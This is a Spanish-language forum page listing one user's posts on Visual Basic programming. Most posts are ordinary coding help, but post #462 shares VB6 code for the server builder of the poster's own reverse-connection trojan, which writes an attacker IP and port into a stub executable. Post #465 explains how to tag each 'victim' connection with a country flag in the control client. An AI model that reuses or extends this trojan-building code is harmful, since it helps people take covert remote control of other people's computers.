Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - aaronduran2

#461
El error me lo da como si se navegara normalmente con Internet Explorer. Es un error de ejecución y pregunta si se desea depurar. No tiene que ver con la DLL.

Saludos.
#462
Hola. Estoy diseñando el editor de servidor de mi troyano. Al ser de conexión inversa, en el servidor tiene que figurar la dirección IP y el puerto al que se debe conectar. Utilizo este código para crearlo:

Código (vb) [Seleccionar]
'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
'    //CargarRes//
'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
'   Extraer archivo de los recursos.
'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
Public Sub CargarRes(NumRES As Integer, RutaCopy As String)
    Dim File() As Byte
    If Dir(RutaCopy) = "" Then
        File = LoadResData(NumRES, "CUSTOM")
        Open RutaCopy For Binary Access Write As #1
            Put #1, , File
        Close #1
    End If
End Sub

'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
'    //cmdCrearServidor_Click//
'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
Private Sub cmdCrearServidor_Click()
    If txtPuerto.Text > 65535 Then
        MsgBox "El puerto debe ser inferior a 65535"
        Exit Sub
    End If
    cd.Filter = "Archivos ejecutables|*.exe"
    cd.DialogTitle = "Generar servidor..."
    cd.ShowSave
    Ruta = cd.FileName
    Call CargarRes(102, cd.FileName)
    Open Ruta For Binary As #1
        Put #1, LOF(1) + 1, txtDireccionIP.Text
        Put #1, , "|"
        Put #1, , txtPuerto.Text
    Close #1
End Sub


Y este es el que lee los datos:

Código (vb) [Seleccionar]
'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
'    //LeerDatos//
'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
'   Leer datos del servidor.
'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
Dim DireccionIP As String * 15
Dim Puerto As String * 5
Dim Secuencia As String * 30

Public Function LeerDatos()
    Dim Secuencia As String * 30
    Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
        Get #1, LOF(1) - 34, DireccionIP
        Get #1, , Secuencia
        Get #1, , Puerto
    Close #1
    MsgBox DireccionIP & "|" & Puerto
End Function


Pero no soy capaz de hacer que lea los datos. La caja de mensaje me aparece vacía. ¿Alguien me puede decir como lo hago?

Gracias de antemano.
#463
Hola. Este código permite sacar la ruta del proceso a partir de su hWnd, así que solo tienes que obtener el PID del proceso y luego obtener su hWnd:

Código (vb) [Seleccionar]
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function EnumProcessModules Lib "psapi" (ByVal hProcess As Long, lphModule As Any, cb As Long, lpcbNeeded As Long) As Long
Private Declare Function GetModuleFileNameEx Lib "psapi" Alias "GetModuleFileNameExA" (ByVal hProcess As Long, ByVal hModule As Long, ByVal lpFileName As String, nSize As Long) As Long
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hWnd As Long, lpdwProcessId As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

Public Function ExeFileName(ByVal hWnd As Long) As String

Const PROCESS_QUERY_INFORMATION As Long = &H400&
Const PROCESS_VM_READ           As Long = &H10&

Const opFlags       As Long = PROCESS_QUERY_INFORMATION Or PROCESS_VM_READ
Const nMaxMods      As Long = 256
Const nBaseModule   As Long = 1
Const nBytesPerLong As Long = 4
Const MAX_PATH      As Long = 260
 
  Dim hModules()    As Long
  Dim hProcess      As Long
  Dim nProcessID    As Long
  Dim nBufferSize   As Long
  Dim nBytesNeeded  As Long
  Dim nRet          As Long
  Dim sBuffer       As String
 
  'Get the process ID from the window handle
  Call GetWindowThreadProcessId(hWnd, nProcessID)

  'Open the process so we can read some module info.
  hProcess = OpenProcess(opFlags, False, nProcessID)
 
  If hProcess Then
    'Get list of process modules.
    ReDim hModules(1 To nMaxMods) As Long
    nBufferSize = UBound(hModules) * nBytesPerLong
    nRet = EnumProcessModules(hProcess, hModules(nBaseModule), nBufferSize, nBytesNeeded)
   
    If nRet = False Then
      'Check to see if we need to allocate more space for results.
      If nBytesNeeded > nBufferSize Then
        ReDim hModules(nBaseModule To nBytesNeeded \ nBytesPerLong) As Long
        nBufferSize = nBytesNeeded
        nRet = EnumProcessModules(hProcess, hModules(nBaseModule), nBufferSize, nBytesNeeded)
      End If
    End If

    'Get the module name.
    sBuffer = Space$(MAX_PATH)
    nRet = GetModuleFileNameEx(hProcess, hModules(nBaseModule), sBuffer, MAX_PATH)
   
    If nRet Then
      ExeFileName = Left$(sBuffer, nRet)
    End If
   
    'Clean up
    Call CloseHandle(hProcess)
  End If
End Function


Saludos.
#464
Léete este tutorial. Ahí se muestra como utilizar el control ListView.

http://www.recursosvisualbasic.com.ar/htm/tutoriales/control-listview.htm

Saludos.
#465
A ver, no sería tan difícil. Con las APIs o con el método que tu quieras, detectas el país donde la víctima ejecuta el servidor, luego envías los datos al cliente y por último añades la bandera al lado de la conexión comprobando los datos recibidos.
Podrías hacerlo con un Select Case. Por ejemplo:

Código (vb) [Seleccionar]
Dim Datos As String
WS(Index).GetData Datos
Select Case Datos
    Case "España"
        'Código para añadir bandera al ListView.
    Case "Italia"
        'Código para añadir bandera al ListView.
End Select


Esto es algo básico. Espero que te sirva el ejemplo.

Saludos.
#466
Programación Visual Basic / Re: ¿Como hacer esto?
17 Septiembre 2008, 21:04 PM
Pues sería algo así.

En el módulo:

Código (vb) [Seleccionar]
Public Function Mensaje(ByVal Titulo As String, ByVal Texto As String, ByVal Estilo As VbMsgBoxStyle)
    MsgBox Texto, Estilo, Titulo
End function


En el formulario:

Código (vb) [Seleccionar]
Private Sub Form_Load()
    Mensaje "Hola", "Prueba de mensaje", vbOKOnly
End Sub


Esto tan solo es un ejemplo. Puedes personalizarlo de diferentes formas. Podrías hasta crear tu propia caja de mensaje en un formulario y darle la apariencia que tu quieras.

Saludos.
#467
¿Pero no habías preguntado lo mismo hace unos días? En la segunda página (actualmente) está este mismo post.

Saludos.
#468
OK, ya está. Encontré un ejemplo y ya me estoy fijando en como se creó. Gracias.

Saludos.
#469
Gracias Novlucker.

EDITADO
Me da error en el control WebBrowser. También me pasa cuando lo intento con la primera versión del que creó seba123neo. ¿Cómo podría solucionarlo?
Además, preferiría no usar el WebBrowser.
Gracias.

Saludos.
#470
Vi los ejemplos de PSC, pero me parecían demasiado largos. Yo quería hacer uno sencillo.

Saludos.